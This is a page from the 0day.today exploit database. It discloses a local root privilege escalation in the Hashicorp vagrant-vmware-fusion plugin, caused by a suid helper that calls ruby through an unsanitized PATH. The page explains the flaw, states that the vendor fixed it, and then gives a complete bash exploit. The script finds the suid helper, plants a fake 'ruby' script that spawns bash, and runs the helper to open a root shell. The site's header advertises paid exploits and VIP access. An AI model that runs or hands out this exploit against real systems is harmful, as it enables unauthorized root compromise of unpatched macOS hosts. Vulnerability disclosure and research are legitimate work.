0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Hashicorp vagrant-vmware-fusion <= 4.0.20 - Local root Privilege Esclation Exploit
Author
Risk
[
Security Risk Critical
]0day-ID
Category
Date add
CVE
Platform
I'm a big fan of Hashicorp but this is an awful bug to have in software of their calibre. Their vagrant plugin for vmware fusion uses a product called Ruby Encoder to protect their proprietary ruby code. It does this by turning the ruby code into bytecode and executing it directly. Unfortunately the execution chain necessary for this to work is not safe. After installing the plugin, the first time you "vagrant up" any vagrant file using vmware fusion it will create some files in ~/.vagrant.d/gems/2.2.5/gems/vagrant-vmware-fusion-4.0.18/bin: vagrant_vmware_desktop_sudo_helper vagrant_vmware_desktop_sudo_helper_wrapper_darwin_386 vagrant_vmware_desktop_sudo_helper_wrapper_darwin_amd64 vagrant_vmware_desktop_sudo_helper_wrapper_linux_386 vagrant_vmware_desktop_sudo_helper_wrapper_linux_amd64 The first one is an encoded ruby script, the others are "sudo helper" binaries for the different platforms supported by the plugin. Of these sudo helpers, the one that corresponds to your platform will be made suid root when vagrant up is run. Unfortunately the helper calls the ruby script with system("ruby <script path>") - i.e. it doesn't verify the path to the ruby script and it doesn't scrub the PATH variable either. We can easily exploit this to get root. Hashicorp were quick to respond and kindly paid me a small bounty for my trouble. The issue was acknowledged by Hashicorp on 08/04/17 and fixed on 14/07/17. The exploit below is for darwin 64bit but it's likely other architectures are also vulnerable. https://m4.rkw.io/vagrant_vmware_privesc.sh.txt 2a58c6fd18e0a36c2fa58ab32298a0e3b89f28843bd8cd4e3a9ff8623028dca3 -------------------------------------------------------------------------- #!/bin/bash vuln_bin=`find ~/.vagrant.d/ -name vagrant_vmware_desktop_sudo_helper_wrapper_darwin_amd64 -perm +4000 |tail -n1` if [ "$vuln_bin" == "" ] ; then echo "Vulnerable binary not found." exit 1 fi dir=`dirname "$vuln_bin"` cd "$dir" cat > ruby <<EOF #!/bin/bash echo echo "************************************************************************" echo "* Depressingly trivial local root privesc in the vagrant vmware_fusion *" echo "* plugin, by m4rkw *" echo "************************************************************************" echo echo "Shout out to #coolkids o/" echo bash exit 0 EOF chmod 755 ruby VAGRANT_INSTALLER_EMBEDDED_DIR="~/.vagrant.d/" PATH=".:$PATH" ./vagrant_vmware_desktop_sudo_helper_wrapper_darwin_amd64 -------------------------------------------------------------------------- # 0day.today [2024-07-05] #